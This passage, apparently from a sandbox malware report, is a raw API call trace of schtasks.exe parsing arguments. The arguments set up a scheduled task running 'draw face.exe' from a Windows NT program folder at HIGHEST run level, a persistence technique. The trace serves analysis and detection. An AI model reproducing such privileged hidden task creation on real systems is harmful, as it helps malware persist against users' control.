_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.598] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|create|") returned 8 [0120.598] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tr|") returned 4 [0120.599] lstrlenW (lpString="|create|") returned 8 [0120.599] lstrlenW (lpString="|tr|") returned 4 [0120.599] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0120.599] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.599] lstrlenW (lpString="delete") returned 6 [0120.599] lstrlenW (lpString="delete") returned 6 [0120.599] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.599] lstrlenW (lpString="tr") returned 2 [0120.599] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.599] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|delete|") returned 8 [0120.599] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tr|") returned 4 [0120.599] lstrlenW (lpString="|delete|") returned 8 [0120.599] lstrlenW (lpString="|tr|") returned 4 [0120.599] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0120.599] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.599] lstrlenW (lpString="query") returned 5 [0120.599] lstrlenW (lpString="query") returned 5 [0120.599] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.599] lstrlenW (lpString="tr") returned 2 [0120.599] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.599] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x8, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|query|") returned 7 [0120.599] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tr|") returned 4 [0120.599] lstrlenW (lpString="|query|") returned 7 [0120.599] lstrlenW (lpString="|tr|") returned 4 [0120.599] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0120.600] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.600] lstrlenW (lpString="change") returned 6 [0120.600] lstrlenW (lpString="change") returned 6 [0120.600] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.600] lstrlenW (lpString="tr") returned 2 [0120.600] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.600] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|change|") returned 8 [0120.600] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tr|") returned 4 [0120.600] lstrlenW (lpString="|change|") returned 8 [0120.600] lstrlenW (lpString="|tr|") returned 4 [0120.600] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0120.600] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.600] lstrlenW (lpString="run") returned 3 [0120.600] lstrlenW (lpString="run") returned 3 [0120.600] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.600] lstrlenW (lpString="tr") returned 2 [0120.600] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.600] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|run|") returned 5 [0120.600] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tr|") returned 4 [0120.600] lstrlenW (lpString="|run|") returned 5 [0120.600] lstrlenW (lpString="|tr|") returned 4 [0120.600] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0120.600] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.600] lstrlenW (lpString="end") returned 3 [0120.600] lstrlenW (lpString="end") returned 3 [0120.601] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.601] lstrlenW (lpString="tr") returned 2 [0120.601] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.601] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|end|") returned 5 [0120.601] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tr|") returned 4 [0120.601] lstrlenW (lpString="|end|") returned 5 [0120.601] lstrlenW (lpString="|tr|") returned 4 [0120.601] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0120.601] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.601] lstrlenW (lpString="showsid") returned 7 [0120.601] lstrlenW (lpString="showsid") returned 7 [0120.601] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.601] lstrlenW (lpString="tr") returned 2 [0120.601] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.601] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0xa, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|showsid|") returned 9 [0120.601] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|tr|") returned 4 [0120.601] lstrlenW (lpString="|showsid|") returned 9 [0120.601] lstrlenW (lpString="|tr|") returned 4 [0120.601] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0120.601] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.601] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.601] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.601] lstrlenW (lpString="/tr") returned 3 [0120.601] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0120.601] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.602] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.602] lstrlenW (lpString="/tr") returned 3 [0120.602] GetProcessHeap () returned 0x286ac7d0000 [0120.602] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x8) returned 0x286ac7d3b90 [0120.602] GetProcessHeap () returned 0x286ac7d0000 [0120.602] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db560 [0120.602] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.602] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.602] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.602] lstrlenW (lpString="-/") returned 2 [0120.602] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0120.602] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.602] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.602] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.602] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.602] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'" [0120.602] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.602] GetProcessHeap () returned 0x286ac7d0000 [0120.602] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7daaa0 [0120.602] _memicmp (_Buf1=0x286ac7daaa0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.602] GetProcessHeap () returned 0x286ac7d0000 [0120.602] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0xe) returned 0x286ac7dab00 [0120.602] GetProcessHeap () returned 0x286ac7d0000 [0120.602] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7da860 [0120.602] _memicmp (_Buf1=0x286ac7da860, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.602] GetProcessHeap () returned 0x286ac7d0000 [0120.602] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x88) returned 0x286ac7d3bb0 [0120.603] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.603] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.603] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.603] lstrlenW (lpString="'C") returned 2 [0120.603] lstrlenW (lpString="-/") returned 2 [0120.603] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0120.603] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.603] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.603] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.603] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0120.603] GetProcessHeap () returned 0x286ac7d0000 [0120.603] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x86) returned 0x286ac7d3c40 [0120.603] GetProcessHeap () returned 0x286ac7d0000 [0120.603] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db8c0 [0120.603] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.603] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.603] lstrlenW (lpString="/rl") returned 3 [0120.603] lstrlenW (lpString="-/") returned 2 [0120.603] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.603] lstrlenW (lpString="?") returned 1 [0120.603] lstrlenW (lpString="?") returned 1 [0120.603] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.603] lstrlenW (lpString="rl") returned 2 [0120.603] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.603] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|?|") returned 3 [0120.603] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|rl|") returned 4 [0120.603] lstrlenW (lpString="|?|") returned 3 [0120.603] lstrlenW (lpString="|rl|") returned 4 [0120.604] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.604] lstrlenW (lpString="create") returned 6 [0120.604] lstrlenW (lpString="create") returned 6 [0120.604] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.604] lstrlenW (lpString="rl") returned 2 [0120.604] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.604] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|create|") returned 8 [0120.604] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|rl|") returned 4 [0120.604] lstrlenW (lpString="|create|") returned 8 [0120.604] lstrlenW (lpString="|rl|") returned 4 [0120.604] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0120.604] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.604] lstrlenW (lpString="delete") returned 6 [0120.604] lstrlenW (lpString="delete") returned 6 [0120.604] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.604] lstrlenW (lpString="rl") returned 2 [0120.604] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.604] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|delete|") returned 8 [0120.604] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|rl|") returned 4 [0120.604] lstrlenW (lpString="|delete|") returned 8 [0120.604] lstrlenW (lpString="|rl|") returned 4 [0120.604] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0120.604] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.604] lstrlenW (lpString="query") returned 5 [0120.604] lstrlenW (lpString="query") returned 5 [0120.605] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.605] lstrlenW (lpString="rl") returned 2 [0120.605] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.605] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x8, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|query|") returned 7 [0120.605] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|rl|") returned 4 [0120.605] lstrlenW (lpString="|query|") returned 7 [0120.605] lstrlenW (lpString="|rl|") returned 4 [0120.605] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0120.605] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.605] lstrlenW (lpString="change") returned 6 [0120.605] lstrlenW (lpString="change") returned 6 [0120.605] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.605] lstrlenW (lpString="rl") returned 2 [0120.605] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.605] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|change|") returned 8 [0120.605] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|rl|") returned 4 [0120.605] lstrlenW (lpString="|change|") returned 8 [0120.605] lstrlenW (lpString="|rl|") returned 4 [0120.605] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0120.605] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.605] lstrlenW (lpString="run") returned 3 [0120.605] lstrlenW (lpString="run") returned 3 [0120.605] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.605] lstrlenW (lpString="rl") returned 2 [0120.605] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.606] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|run|") returned 5 [0120.606] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|rl|") returned 4 [0120.606] lstrlenW (lpString="|run|") returned 5 [0120.606] lstrlenW (lpString="|rl|") returned 4 [0120.606] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0120.606] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.606] lstrlenW (lpString="end") returned 3 [0120.606] lstrlenW (lpString="end") returned 3 [0120.606] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.606] lstrlenW (lpString="rl") returned 2 [0120.606] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.606] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|end|") returned 5 [0120.606] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|rl|") returned 4 [0120.606] lstrlenW (lpString="|end|") returned 5 [0120.606] lstrlenW (lpString="|rl|") returned 4 [0120.606] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0120.606] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.606] lstrlenW (lpString="showsid") returned 7 [0120.606] lstrlenW (lpString="showsid") returned 7 [0120.606] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.606] lstrlenW (lpString="rl") returned 2 [0120.606] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.607] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0xa, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|showsid|") returned 9 [0120.607] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|rl|") returned 4 [0120.607] lstrlenW (lpString="|showsid|") returned 9 [0120.607] lstrlenW (lpString="|rl|") returned 4 [0120.607] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0120.609] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.609] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.609] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.609] lstrlenW (lpString="/rl") returned 3 [0120.609] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0120.609] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.609] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.609] lstrlenW (lpString="/rl") returned 3 [0120.609] GetProcessHeap () returned 0x286ac7d0000 [0120.609] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x8) returned 0x286ac7d3cd0 [0120.609] GetProcessHeap () returned 0x286ac7d0000 [0120.609] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db530 [0120.609] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.610] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.610] lstrlenW (lpString="HIGHEST") returned 7 [0120.610] lstrlenW (lpString="-/") returned 2 [0120.610] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0120.610] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.610] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.610] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.610] lstrlenW (lpString="HIGHEST") returned 7 [0120.610] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0120.610] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.610] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.610] lstrlenW (lpString="HIGHEST") returned 7 [0120.610] GetProcessHeap () returned 0x286ac7d0000 [0120.610] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x10) returned 0x286ac7da800 [0120.610] GetProcessHeap () returned 0x286ac7d0000 [0120.610] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db710 [0120.610] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.610] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.610] lstrlenW (lpString="/f") returned 2 [0120.610] lstrlenW (lpString="-/") returned 2 [0120.610] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.610] lstrlenW (lpString="?") returned 1 [0120.610] lstrlenW (lpString="?") returned 1 [0120.610] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.610] lstrlenW (lpString="f") returned 1 [0120.610] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.610] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|?|") returned 3 [0120.610] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|f|") returned 3 [0120.611] lstrlenW (lpString="|?|") returned 3 [0120.611] lstrlenW (lpString="|f|") returned 3 [0120.611] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0120.611] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.611] lstrlenW (lpString="create") returned 6 [0120.611] lstrlenW (lpString="create") returned 6 [0120.611] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.611] lstrlenW (lpString="f") returned 1 [0120.611] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.611] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|create|") returned 8 [0120.611] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|f|") returned 3 [0120.611] lstrlenW (lpString="|create|") returned 8 [0120.611] lstrlenW (lpString="|f|") returned 3 [0120.611] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0120.611] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.611] lstrlenW (lpString="delete") returned 6 [0120.611] lstrlenW (lpString="delete") returned 6 [0120.611] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.611] lstrlenW (lpString="f") returned 1 [0120.611] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.611] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|delete|") returned 8 [0120.611] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|f|") returned 3 [0120.611] lstrlenW (lpString="|delete|") returned 8 [0120.611] lstrlenW (lpString="|f|") returned 3 [0120.612] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0120.612] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.612] lstrlenW (lpString="query") returned 5 [0120.612] lstrlenW (lpString="query") returned 5 [0120.612] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.612] lstrlenW (lpString="f") returned 1 [0120.612] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.612] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x8, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|query|") returned 7 [0120.612] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|f|") returned 3 [0120.612] lstrlenW (lpString="|query|") returned 7 [0120.612] lstrlenW (lpString="|f|") returned 3 [0120.612] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0120.612] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.612] lstrlenW (lpString="change") returned 6 [0120.612] lstrlenW (lpString="change") returned 6 [0120.612] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.612] lstrlenW (lpString="f") returned 1 [0120.612] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.612] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|change|") returned 8 [0120.612] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|f|") returned 3 [0120.612] lstrlenW (lpString="|change|") returned 8 [0120.612] lstrlenW (lpString="|f|") returned 3 [0120.612] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0120.612] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.612] lstrlenW (lpString="run") returned 3 [0120.613] lstrlenW (lpString="run") returned 3 [0120.613] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.613] lstrlenW (lpString="f") returned 1 [0120.613] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.613] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|run|") returned 5 [0120.613] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|f|") returned 3 [0120.613] lstrlenW (lpString="|run|") returned 5 [0120.613] lstrlenW (lpString="|f|") returned 3 [0120.613] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0120.613] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.613] lstrlenW (lpString="end") returned 3 [0120.613] lstrlenW (lpString="end") returned 3 [0120.613] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.613] lstrlenW (lpString="f") returned 1 [0120.613] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.613] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|end|") returned 5 [0120.613] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|f|") returned 3 [0120.613] lstrlenW (lpString="|end|") returned 5 [0120.613] lstrlenW (lpString="|f|") returned 3 [0120.613] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0120.613] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.613] lstrlenW (lpString="showsid") returned 7 [0120.613] lstrlenW (lpString="showsid") returned 7 [0120.613] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.614] lstrlenW (lpString="f") returned 1 [0120.614] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.614] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0xa, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|showsid|") returned 9 [0120.614] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668f7d8 | out: _Buffer="|f|") returned 3 [0120.614] lstrlenW (lpString="|showsid|") returned 9 [0120.614] lstrlenW (lpString="|f|") returned 3 [0120.614] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0120.614] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.614] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.614] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.614] lstrlenW (lpString="/f") returned 2 [0120.614] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0120.614] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.614] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.614] lstrlenW (lpString="/f") returned 2 [0120.614] GetProcessHeap () returned 0x286ac7d0000 [0120.614] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x6) returned 0x286ac7dbc90 [0120.614] GetProcessHeap () returned 0x286ac7d0000 [0120.614] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db8f0 [0120.614] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.614] GetProcessHeap () returned 0x286ac7d0000 [0120.614] GetProcessHeap () returned 0x286ac7d0000 [0120.614] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3970) returned 1 [0120.614] GetProcessHeap () returned 0x286ac7d0000 [0120.614] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d3970) returned 0x8 [0120.614] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d3970) returned 1 [0120.614] GetProcessHeap () returned 0x286ac7d0000 [0120.615] GetProcessHeap () returned 0x286ac7d0000 [0120.615] HeapValidate 